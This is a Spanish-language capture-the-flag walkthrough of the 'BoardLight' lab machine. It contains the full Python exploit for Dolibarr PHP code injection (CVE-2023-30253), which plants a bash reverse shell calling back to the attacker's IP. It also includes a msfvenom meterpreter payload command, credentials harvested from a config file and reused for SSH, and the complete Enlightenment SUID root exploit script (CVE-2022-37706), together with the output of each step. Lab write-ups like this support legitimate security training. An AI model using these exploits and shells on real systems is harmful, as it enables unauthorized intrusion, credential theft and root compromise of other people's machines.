BoardLight

nmap

```
nmap -sC -sV 10.10.11.11 -o nmap.scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-14 22:10 CEST
Nmap scan report for boardlight.htb (10.10.11.11)
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 127.70 seconds

#Si accedemos a la web, obervamos  © 2020 All Rights Reserved By Board.htb
#Añadimos el dominio a /etc/hosts

#Fuzzeamos para encontrar subdominios.
ffuf -H "Host: FUZZ.board.htb" -u http://board.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --fw 6243

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev

________________________________________________

 :: Method           : GET
 :: URL              : http://board.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.board.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 6243
________________________________________________

crm                     [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 165ms]

#Lo añadimos a /etc/hots
10.10.11.11     board.htb crm.board.htb

#Entramos en la web, y encontramos el framework:

#Tratamos de acceder a la página de login con admin:admin
http://crm.board.htb/admin/index.php?mainmenu=home&leftmenu=setup&mesg=setupnotcomplete


#Ahor ajecuremos el payload.
Security Advisory: Dolibarr 17.0.0 PHP Code Injection (CVE-2023-30253)
https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253
#Vemos el script:
cat exploit.py
```

```
#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup
import http.client
import time
import argparse
import uuid

auth_headers = {
    "Cache-Control": "max-age=0",
    "Upgrade-Insecure-Requests": "1",
    "Content-Type": "application/x-www-form-urlencoded",
```

```
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/
537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "en-US,en;q=0.9",
    "Cookie": "DOLSESSID_3dfbb778014aaf8a61e81abec91717e6f6438f92=aov9g1h2ao2quel82ijps1f4p7",
    "Connection": "close"
}

def remove_http_prefix(url: str) -> str:
    if url.startswith("http://"):
        return url[len("http://"):]
    elif url.startswith("https://"):
        return url[len("https://"):]
    else:
        return url

def get_csrf_token(url, headers):
    csrf_token = ""
    response = requests.get(url, headers=headers)

    if response.status_code == 200:
        soup = BeautifulSoup(response.content, "html.parser")
        meta_tag = soup.find("meta", attrs={"name": "anti-csrf-newtoken"})

        if meta_tag:
            csrf_token = meta_tag.get("content")
        else:
            print("[!] CSRF token not found")
    else:
        print("[!] Failed to retrieve the page. Status code:", response.status_code)

    return csrf_token

def auth(pre_login_token, username, password, auth_url, auth_headers):
    login_payload = {
        "token": pre_login_token,
        "actionlogin": "login",
        "loginfunction": "loginfunction",
        "backtopage": "",
        "tz": "-5",
        "tz_string": "America/New_York",
        "dst_observed": "1",
        "dst_first": "2024-03-10T01:59:00Z",
        "dst_second": "2024-11-3T01:59:00Z",
        "screenwidth": "1050",
        "screenheight": "965",
        "dol_hide_topmenu": "",
        "dol_hide_leftmenu": "",
        "dol_optimize_smallscreen": "",
        "dol_no_mouse_hover": "",
        "dol_use_jmobile": "",
        "username": username,
        "password": password
    }

    requests.post(auth_url, data=login_payload, headers=auth_headers, allow_redirects=True)

def create_site(hostname, login_token, site_name, http_connection):
    create_site_headers = {
        "Host": remove_http_prefix(hostname),
        "Cache-Control": "max-age=0",
        "Upgrade-Insecure-Requests": "1",
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryKouJvCUT1lX8IVE6",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/
537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/
signed-exchange;v=b3;q=0.7",
        "Accept-Encoding": "gzip, deflate, br",
        "Accept-Language": "en-US,en;q=0.9",
        "Cookie": "DOLSESSID_3dfbb778014aaf8a61e81abec91717e6f6438f92=aov9g1h2ao2quel82ijps1f4p7",
        "Connection": "close"
    }

    create_site_body = (
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"token\"\r\n\r\n" +
        login_token + "\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"backtopage\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"dol_openinpopup\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
        "addsite\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
```

```
        "Content-Disposition: form-data; name=\"website\"\r\n\r\n"
        "-1\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_REF\"\r\n\r\n" +
        site_name + "\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_LANG\"\r\n\r\n"
        "en\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_OTHERLANG\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_DESCRIPTION\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"virtualhost\"\r\n\r\n"
        "http://" + site_name + ".localhost\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"addcontainer\"\r\n\r\n"
        "Create\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6--\r\n"
    )

    http_connection.request("POST", "/website/index.php", create_site_body, create_site_headers)
    http_connection.getresponse()

def create_page(hostname, login_token, site_name, http_connection):
    create_page_headers = {
        "Host": remove_http_prefix(hostname),
        "Cache-Control": "max-age=0",
        "Upgrade-Insecure-Requests": "1",
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryur7X26L0cMS2mE5w",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/
537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/
signed-exchange;v=b3;q=0.7",
        "Accept-Encoding": "gzip, deflate, br",
        "Accept-Language": "en-US,en;q=0.9",
        "Cookie": "DOLSESSID_3dfbb778014aaf8a61e81abec91717e6f6438f92=aov9g1h2ao2quel82ijps1f4p7",
        "Connection": "close"
    }

    create_page_body = (
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"token\"\r\n\r\n" +
        login_token + "\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"backtopage\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"dol_openinpopup\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
        "addcontainer\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"website\"\r\n\r\n" +
        site_name + "\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"pageidbis\"\r\n\r\n"
        "-1\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"pageid\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"radiocreatefrom\"\r\n\r\n"
        "checkboxcreatemanually\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_TYPE_CONTAINER\"\r\n\r\n"
        "page\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"sample\"\r\n\r\n"
        "empty\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_TITLE\"\r\n\r\n"
        "TEST\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_PAGENAME\"\r\n\r\n" +
        site_name + "\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_ALIASALT\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_DESCRIPTION\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_IMAGE\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_KEYWORDS\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_LANG\"\r\n\r\n"
        "0\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_AUTHORALIAS\"\r\n\r\n\r\n"
```

```
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"datecreation\"\r\n\r\n"
        "05/25/2024\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"datecreationday\"\r\n\r\n"
        "25\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"datecreationmonth\"\r\n\r\n"
        "05\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"datecreationyear\"\r\n\r\n"
        "2024\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"datecreationhour\"\r\n\r\n"
        "15\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"datecreationmin\"\r\n\r\n"
        "25\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"datecreationsec\"\r\n\r\n"
        "29\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"htmlheader_x\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"htmlheader_y\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"htmlheader\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"addcontainer\"\r\n\r\n"
        "Create\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"externalurl\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"grabimages\"\r\n\r\n"
        "1\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"grabimagesinto\"\r\n\r\n"
        "root\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w--\r\n"
    )

    http_connection.request("POST", "/website/index.php", create_page_body, create_page_headers)
    http_connection.getresponse()

def edit_page(hostname, login_token, site_name, lhost, lport, http_connection):
    edit_page_headers = {
        "Host": remove_http_prefix(hostname),
        "Cache-Control": "max-age=0",
        "Upgrade-Insecure-Requests": "1",
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryYWePyybXc70N8CPm",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/
537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/
signed-exchange;v=b3;q=0.7",
        "Accept-Encoding": "gzip, deflate, br",
        "Accept-Language": "en-US,en;q=0.9",
        "Cookie": "DOLSESSID_3dfbb778014aaf8a61e81abec91717e6f6438f92=aov9g1h2ao2quel82ijps1f4p7",
        "Connection": "close"
    }

    edit_page_body = (
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
        "Content-Disposition: form-data; name=\"token\"\r\n\r\n" +
        login_token + "\r\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
        "Content-Disposition: form-data; name=\"backtopage\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
        "Content-Disposition: form-data; name=\"dol_openinpopup\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
        "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
        "updatesource\r\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
        "Content-Disposition: form-data; name=\"website\"\r\n\r\n" +
        site_name + "\r\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
        "Content-Disposition: form-data; name=\"pageid\"\r\n\r\n"
        "2\r\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
        "Content-Disposition: form-data; name=\"update\"\r\n\r\n"
        "Save\r\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
        "Content-Disposition: form-data; name=\"PAGE_CONTENT_x\"\r\n\r\n"
        "16\r\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
        "Content-Disposition: form-data; name=\"PAGE_CONTENT_y\"\r\n\r\n"
        "2\r\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
```

```
        "Content-Disposition: form-data; name=\"PAGE_CONTENT\"\r\n\r\n"
        "<!-- Enter here your HTML content. Add a section with an id tag and tag contenteditable=\"true\" if you want to use the inline editor for the content -->\n"
        "<section id=\"mysection1\" contenteditable=\"true\">\n"
        "    <?pHp system(\"bash -c 'bash -i >& /dev/tcp/" + lhost + "/" + lport + " 0>&1'\"); ?>\n"
        "</section>\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm--\r\n"
    )

    http_connection.request("POST", "/website/index.php", edit_page_body, edit_page_headers)
    http_connection.getresponse()

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="---[Reverse Shell Exploit for Dolibarr <= 17.0.0 (CVE-2023-30253)]---", usage="python3 exploit.py <TARGET_HOSTNAME> <USERNAME> <PASSWORD> <LHOST> <LPORT>\r\nexample: python3 exploit.py http://example.com login password 127.0.0.1 9001")
    parser.add_argument("hostname", help="Target hostname")
    parser.add_argument("username", help="Username of Dolibarr ERP/CRM")
    parser.add_argument("password", help="Password of Dolibarr ERP/CRM")
    parser.add_argument("lhost", help="Listening host for reverse shell")
    parser.add_argument("lport", help="Listening port for reverse shell")

    args = parser.parse_args()
    min_required_args = 5
    if len(vars(args)) != min_required_args:
        parser.print_usage()
        exit()

    site_name = str(uuid.uuid4()).replace("-","")[:10]
    base_url = args.hostname + "/index.php"
    auth_url = args.hostname + "/index.php?mainmenu=home"
    admin_url = args.hostname + "/admin/index.php?mainmenu=home&leftmenu=setup&mesg=setupnotcomplete"
    call_reverse_shell_url = args.hostname + "/public/website/index.php?website=" + site_name + "&pageref=" + site_name

    pre_login_token = get_csrf_token(base_url, auth_headers)

    if pre_login_token == "":
        print("[!] Cannot get pre_login_token, please check the URL")
        exit()

    print("[*] Trying authentication...")
    print("[**] Login: " + args.username)
    print("[**] Password: " + args.password)

    auth(pre_login_token, args.username, args.password, auth_url, auth_headers)
    time.sleep(1)

    login_token = get_csrf_token(admin_url, auth_headers)

    if login_token == "":
        print("[!] Cannot get login_token, please check the URL")
        exit()

    http_connection = http.client.HTTPConnection(remove_http_prefix(args.hostname))

    print("[*] Trying created site...")
    create_site(args.hostname, login_token, site_name, http_connection)
    time.sleep(1)

    print("[*] Trying created page...")
    create_page(args.hostname, login_token, site_name, http_connection)
    time.sleep(1)

    print("[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection")
    edit_page(args.hostname, login_token, site_name, args.lhost, args.lport, http_connection)

    http_connection.close()
    time.sleep(1)
    requests.get(call_reverse_shell_url)

    print("[!] If you have not received the shell, please check your login and password")
```

#Ejecutamos el script:
python3 exploit.py http://crm.board.htb admin admin 10.10.14.103 9001[*] Trying authentication...
[**] Login: admin
[**] Password: admin
[*] Trying created site...
[*] Trying created page...
[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection
[!] If you have not received the shell, please check your login and password

#Ya tenemos acceso:
c -nlvp 9001

```
listening on [any] 9001 ...
connect to [10.10.14.103] from (UNKNOWN) [10.10.11.11] 53614
bash: cannot set terminal process group (856): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ whoami
whoami
www-data


#Crearemos un payload:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.103 LPORT=9001 -f exe -o payload.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of exe file: 6656 bytes
Saved as: payload.bin

#Subimos el payload y lo ejecutamos, sin resultado.
www-data@boardlight:/tmp$ ./payload.bin.2
./payload.bin.2
```

foothoold

#Buscaremos la BBDD don de se encuentra la aplicaación.
Dolibarr

#Encontramos este enlace:https://wiki.dolibarr.org/index.php?title=Configuration_file
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ dir
dir
conf.php conf.php.example conf.php.old
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ cat conf.php
cat conf.php
<?php
//
// File generated by Dolibarr installer 17.0.0 on May 13, 2024
//
// Take a look at conf.php.example file for an example of conf.php file
// and explanations for all possibles parameters.
//
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
// Authentication settings
$dolibarr_main_authentication='dolibarr';

//$dolibarr_main_demo='autologin,autopass';
// Security settings
$dolibarr_main_prod='0';
$dolibarr_main_force_https='0';
$dolibarr_main_restrict_os_commands='mysqldump, mysql, pg_dump, pgrestore';
$dolibarr_nocsrfcheck='0';
$dolibarr_main_instance_unique_id='ef9a8f59524328e3c36894a9ff0562b5';
$dolibarr_mailing_limit_sendbyweb='0';
$dolibarr_mailing_limit_sendbycli='0';

//$dolibarr_lib_FPDF_PATH='';
//$dolibarr_lib_TCPDF_PATH='';
//$dolibarr_lib_FPDI_PATH='';
//$dolibarr_lib_TCPDI_PATH='';
//$dolibarr_lib_GEOIP_PATH='';
//$dolibarr_lib_NUSOAP_PATH='';
//$dolibarr_lib_ODTPHP_PATH='';
//$dolibarr_lib_ODTPHP_PATHTOPCLZIP='';
//$dolibarr_js_CKEDITOR='';
//$dolibarr_js_JQUERY='';
//$dolibarr_js_JQUERY_UI='';

//$dolibarr_font_DOL_DEFAULT_TTF='';
//$dolibarr_font_DOL_DEFAULT_TTF_BOLD='';
$dolibarr_main_distrib='standard';

#Ya tenemos el usuario y la contraseña:
user --> dolibarrowner
passwd --> serverfun2$2023!!

#Nos conectaremos mediante SSH, para conocer el usuario, podemos ir a /home.
 ssh larissa@board.htb
The authenticity of host 'board.htb (10.10.11.11)' can't be established.
ED25519 key fingerprint is SHA256:xngtcDPqg6MrK72I6lSp/cKgP2kwzG6rx2rlahvu/v0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'board.htb' (ED25519) to the list of known hosts.
larissa@board.htb's password:
Last login: Sat Jun 15 05:55:02 2024 from 10.10.14.65
larissa@boardlight:~$ whoami
larissa

priv_escalation

#A la hora de esclaar privilegios, nos aydaremos de la herramienta linepeas.
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh

sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.11 - - [15/Jun/2024 16:29:20] "GET /linpeas.sh HTTP/1.1" 200

#Ahora subimos el script a /tmp.
wget 10.10.14.103/linpeas.sh -o linpeas.sh

#Al ejecutar el script, nos fijamos en el SUID.
═══════════════╣ Files with Interesting Permissions ╠═══════════════
╚═══╝

╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-sr-x 1 root root 15K Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-sr-x 1 root root 15K Apr 8 18:36 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-x 1 root root 27K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys (Unknown SUID binary!)
-rwsr-xr-x 1 root root 15K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd (Unknown SUID binary!)
-rwsr-xr-x 1 root root 15K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight (Unknown SUID binary!)
-rwsr-xr-x 1 root root 15K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset (Unknown SUID binary!)
-rwsr-xr-- 1 root messagebus 51K Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 467K Jan 2 09:13 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root dip 386K Jul 23 2020 /usr/sbin/pppd ---> Apple_Mac_OSX_10.4.8(05-2007)
-rwsr-xr-x 1 root root 44K Feb 6 04:49 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 55K Apr 9 08:34 /usr/bin/mount --->
Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 163K Apr 4 2023 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 67K Apr 9 08:34 /usr/bin/su
-rwsr-xr-x 1 root root 84K Feb 6 04:49 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 39K Apr 9 08:34 /usr/bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 87K Feb 6 04:49 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 67K Feb 6 04:49 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 39K Mar 7 2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 52K Feb 6 04:49 /usr/bin/chsh
-rwsr-xr-x 1 root root 15K Oct 27 2023 /usr/bin/vmware-user-suid-wrapper

#Vemos como en la carpeta enlightenment, hay ficheros ejecutandose con permisos diferentes.
#Buscaremos la versión de este aplicativo: enlightenment.
#Vemos la versióno escribiendo enlightenment --version
larissa@boardlight:/tmp$ enlightenment --version
ESTART: 0.00006 [0.00006] - Begin Startup
ESTART: 0.00036 [0.00030] - Signal Trap
ESTART: 0.00048 [0.00012] - Signal Trap Done
ESTART: 0.00059 [0.00011] - Eina Init
ESTART: 0.00123 [0.00064] - Eina Init Done
ESTART: 0.00137 [0.00014] - Determine Prefix
ESTART: 0.00167 [0.00030] - Determine Prefix Done
ESTART: 0.00175 [0.00008] - Environment Variables
ESTART: 0.00182 [0.00007] - Environment Variables Done
ESTART: 0.00188 [0.00006] - Parse Arguments
Version: 0.23.1
E: Begin Shutdown Procedure!

#Busaremos algun exploit.
https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit
sudo python3 -m http.server 80
[sudo] password for alle:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.11 - - [15/Jun/2024 16:54:15] "GET /exploit.sh HTTP/1.1" 200 -

#Veamos el script:

```
#!/bin/bash

echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."

file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
if [[ -z ${file} ]]
then
```

```
        echo "[-] Couldn't find the vulnerable SUID file..."
        echo "[*] Enlightenment should be installed on your system."
        exit 1
fi

echo "[+] Vulnerable SUID binary found!"
echo "[+] Trying to pop a root shell!"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"

echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
echo "[+] Enjoy the root shell :)"
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
```

```
#Ejecutamos el script.
larissa@boardlight:/tmp$ bash exploit.sh.1
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# whoami
root
```